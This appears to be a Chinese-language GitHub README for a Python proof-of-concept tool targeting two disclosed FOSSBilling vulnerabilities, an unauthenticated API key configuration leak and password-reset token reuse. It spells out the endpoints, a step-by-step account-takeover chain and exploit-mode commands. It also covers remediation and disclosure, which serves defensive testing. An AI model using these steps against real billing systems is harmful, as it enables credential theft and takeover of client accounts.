7megaumka7/FOSKiller

GitHub: 7megaumka7/FOSKiller

针对 FOSSBilling ≤ 0.7.2 的两个已知漏洞(未授权 API Key 泄露与密码重置 Token 重用)的概念验证与安全检测工具。

Stars: 0 | Forks: 0

``` ███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ ██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ █████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ ██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗ ██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝ ``` **由 [7megaumka7](https://github.com/7megaumka7) 制作** 用于 [FOSSBilling](https://fossbilling.org/) ≤ 0.7.2 中两个已接受的 GitHub Security Advisory 漏洞的 PoC 工具 [![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=flat-square)](https://python.org) [![License](https://img.shields.io/badge/License-MIT-green?style=flat-square)](LICENSE) [![CVE-2026-53647](https://img.shields.io/badge/CVE--2026--53647-Moderate%206.9-orange?style=flat-square)](https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-737q-9gpr-6mpq) [![CVE-2026-53646](https://img.shields.io/badge/CVE--2026--53646-High%207.7-red?style=flat-square)](https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-vp66-w6rc-x32p)
## 目录 - [简介](#introduction) - [漏洞](#vulnerabilities) - [CVE-2026-53647 — 未授权 API Key 配置泄露](#cve-2026-53647--unauthenticated-api-key-config-disclosure) - [CVE-2026-53646 — 密码重置 Token 重用](#cve-2026-53646--password-reset-token-reuse) - [环境要求](#requirements) - [安装](#installation) - [用法](#usage) - [参数](#flags) - [模式](#modes) - [示例](#examples) - [输出示例](#sample-output) - [修复方案](#remediation) - [负责任的披露](#responsible-disclosure) - [法律免责声明](#legal-disclaimer) - [致谢](#credits) ## 简介 **FOSKiller** 是一个 PoC 工具,用于演示 [FOSSBilling](https://fossbilling.org/) —— 一个开源的计费和客户管理 平台中的两个安全漏洞。这两个漏洞均已通过 GitHub Security Advisory 计划进行了负责任的披露,并在 FOSSBilling **0.7.3+** 版本中得到了完全修复。 本工具适用于: - 验证自身 FOSSBilling 安装环境的安全研究人员 - 执行授权渗透测试的渗透测试人员 - 确认补丁应用情况的安全防御人员 | 安全公告 | CVE | 类型 | CVSS | 受影响版本 | |---|---|---|---|---| | [GHSA-737q-9gpr-6mpq](https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-737q-9gpr-6mpq) | CVE-2026-53647 | 未授权 API Key 配置泄露 | **6.9 中危** | >= 0.5.3, <= 0.7.2 | | [GHSA-vp66-w6rc-x32p](https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-vp66-w6rc-x32p) | CVE-2026-53646 | 密码重置 Token 重用 → 账户接管 | **7.7 高危** | >= 0.5.6, <= 0.7.2 | ## 漏洞 ### CVE-2026-53647 — 未授权 API Key 配置泄露 访客 endpoint `/api/guest/serviceapikey/get_info` 会在无需任何身份验证的情况下,返回完整的服务配置——包括 `custom_*` 字段、API 凭据、主机名和密码。知道或枚举出有效 API key 的攻击者可以从公开 endpoint 获取完整的后端服务配置。 **影响:** 泄露服务凭据、内部主机名和 API 密钥。 ### CVE-2026-53646 — 密码重置 Token 重用 当客户端针对同一账户连续触发两次密码重置时,应用程序会颁发一个新的 token,但**不会使前一个 token 失效**。之前已截获第一个 token 的攻击者,即使在合法用户完成了自己的重置流程之后,依然可以使用该 token 设置新密码。 **攻击链:** ``` 1. Attacker triggers POST /api/guest/client/reset_password → captures token T1 2. Victim triggers their own reset → app issues T2, T1 remains valid 3. Attacker calls POST /api/guest/client/update_password?hash=T1 with chosen password 4. Attacker has persistent access regardless of victim's reset completion ``` **影响:** 只要重置邮件可被拦截,即可永久接管任意客户端的账户。 ## 环境要求 - Python **3.8+** - [`requests`](https://pypi.org/project/requests/) - [`colorama`](https://pypi.org/project/colorama/) ## 安装 **克隆并安装依赖:** ``` git clone https://github.com/7megaumka7/FOSKiller.git cd FOSKiller pip install -r requirements.txt ``` **或者无需预先安装直接运行** —— 脚本会在首次运行时提示安装缺失的包。 ## 用法 ``` python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL] [--check-only | --exploit] [--force] [--output FILE] [--timeout SEC] [--proxy URL] ``` ### 参数 | 参数 | 是否必需 | 描述 | |---|---|---| | `--target URL` | 是 | FOSSBilling 实例的 Base URL | | `--key KEY` | 用于 CVE-2026-53647 | 要测试的 API key | | `--email EMAIL` | 用于 CVE-2026-53646 | 要测试的客户端 email | | `--check-only` | 否 | 检测模式 —— 仅确认漏洞而不提取数据 | | `--exploit` | 否 | 提取全部数据 + 记录攻击链 | | `--force` | 否 | 跳过版本范围检查 | | `--output FILE` | 否 | 将完整结果保存到 JSON 文件 | | `--timeout SEC` | 否 | HTTP 超时时间(秒)(默认:`10`) | | `--proxy URL` | 否 | HTTP 代理(例如 `http://127.0.0.1:8080`) | `--check-only` 和 `--exploit` 是互斥的。 ### 模式 | 模式 | 参数 | 功能说明 | |---|---|---| | **检测** | `--check-only` | 确认漏洞是否存在。不显示或提取敏感值。 | | **默认** | *(无模式参数)* | 确认状态并显示基本证据。 | | **利用** | `--exploit` | 提取所有泄露字段;记录带有时间元数据的完整账户接管链。 | ### 示例 **仅检测 —— 验证两个 CVE 且不提取数据:** ``` python fossbilling_poc.py \ --target https://billing.example.com \ --key myservicekey \ --email client@example.com \ --check-only ``` **完整提取数据并记录攻击链:** ``` python fossbilling_poc.py \ --target https://billing.example.com \ --key myservicekey \ --email client@example.com \ --exploit ``` **将结果保存为 JSON 并通过 Burp Suite 路由:** ``` python fossbilling_poc.py \ --target https://billing.example.com \ --key myservicekey \ --email client@example.com \ --output results.json \ --proxy http://127.0.0.1:8080 ``` **测试未知或已修补的版本:** ``` python fossbilling_poc.py \ --target https://billing.example.com \ --key myservicekey \ --force ``` ## 输出示例 ``` [*] Probing https://billing.example.com … [+] Detected version: 0.7.1 [+] CVE-2026-53647 affected range (>=0.5.3 <=0.7.2): YES [+] CVE-2026-53646 affected range (>=0.5.6 <=0.7.2): YES ── CVE-2026-53647 │ Unauthenticated API Key Config Disclosure ───────── [*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=*** [*] Mode : Full extraction [*] HTTP : 200 [+] VULNERABLE — endpoint returned 4 sensitive field(s) without authentication Field Value ────────────────────────────────────────────────────────────────────── custom_hostname db.internal.example.com custom_username fossbilling_db custom_password [REDACTED IN THIS EXAMPLE] custom_api_secret [REDACTED IN THIS EXAMPLE] ── CVE-2026-53646 │ Password Reset Token Reuse / Account Takeover ───── [*] Sending reset request #1 … [*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z [*] Sending reset request #2 (same email) … [*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z [*] Time delta between requests : 0.643s [!] Both reset requests succeeded — endpoint accepts repeated resets without rate-limiting. ── Summary ───────────────────────────────────────────────────────────── CVE GHSA Severity Status ────────────────────────────────────────────────────────────────────────────────── CVE-2026-53647 GHSA-737q-9gpr-6mpq Moderate (CVSS 6.9) VULNERABLE CVE-2026-53646 GHSA-vp66-w6rc-x32p High (CVSS 7.7) POTENTIALLY_VULNERABLE ``` ## 修复方案 **升级到 FOSSBilling >= 0.7.3**,该版本修复了这两个漏洞。 如果无法立即打补丁: | CVE | 临时缓解方案 | |---|---| | CVE-2026-53647 | 在 Web 服务器或 WAF 层面阻止对 `/api/guest/serviceapikey/` 的访问 | | CVE-2026-53646 | 在重新颁发时实现 token 失效;为重置 endpoint 添加速率限制 | ## 负责任的披露 在本次发布之前,已通过 GitHub Security Advisory 计划向 FOSSBilling 维护者报告了这两个漏洞。 - 安全公告 1:https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-737q-9gpr-6mpq - 安全公告 2:https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-vp66-w6rc-x32p ## 法律免责声明 ## 致谢 **研究员与作者:** [7megaumka7](https://github.com/7megaumka7) 负责漏洞发现、分析、负责任的披露以及工具开发。
标签:Maven, PoC, Python, StruQ, Web安全, 无后门, 暴力破解, 漏洞验证, 演示模式, 蓝队分析, 逆向工具